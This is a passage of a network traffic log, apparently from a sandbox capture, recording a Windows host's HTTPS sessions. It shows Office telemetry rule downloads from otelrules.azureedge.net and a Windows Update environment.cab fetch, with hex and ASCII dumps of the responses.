2024-12-07 21:41:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:00 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 22946db9-b01e-0021-4e03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214100Z-r1cf579d778v97q7hC1EWRf95c000000034g000000003dwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:00 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:00 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:00 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9a7d6e1d-d01e-00a1-4e08-4835b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214100Z-r1cf579d7788pwqzhC1EWRrpd800000003v0000000001cq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:00 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:01 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:01 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 1dad0878-201e-0071-1606-48ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214101Z-r1cf579d778x776bhC1EWRdk8000000003fg000000004k3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:01 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:02 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:02 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fdf36bd3-a01e-0070-1e03-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214102Z-r1cf579d778qgtz2hC1EWRmgks00000003dg000000000xcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:02 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:02 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:02 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 8332b9fd-c01e-0079-1704-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214102Z-r1cf579d778x776bhC1EWRdk8000000003mg000000000qcx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:02 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:02 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:02 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 812207fe-e01e-0099-5703-48da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214102Z-r1cf579d778dfdgnhC1EWRd3w000000003bg0000000020zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:02 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49852	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:02 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TyDlpBOuBMC4KnB&MD=cRlZhfaz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 21:41:03 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 6bfd7cda-d200-416d-8c5a-a1a74bbcd014 MS-RequestId: 661263eb-7b4c-4737-a987-2d96e1b4dbc6 MS-CV: sIerJdLwJ0etRxET.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 21:41:02 GMT Connection: close Content-Length: 30005
2024-12-07 21:41:03 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-07 21:41:03 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:02 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a7f22c35-701e-001e-6403-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214102Z-r1cf579d778d5zkmhC1EWRk6h80000000420000000000nvq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:03 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:03 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 62ef0171-501e-000a-5a03-480180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214103Z-r1cf579d778dfdgnhC1EWRd3w000000003a0000000003z4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:04 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:04 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:04 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 315ad4be-c01e-0014-2a03-48a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214104Z-r1cf579d77898tqwhC1EWRf9q800000003mg0000000027eh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:04 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:04 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:04 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3c0425b1-401e-0047-7c03-488597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214104Z-r1cf579d77898tqwhC1EWRf9q800000003gg000000005pbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:04 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:04 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
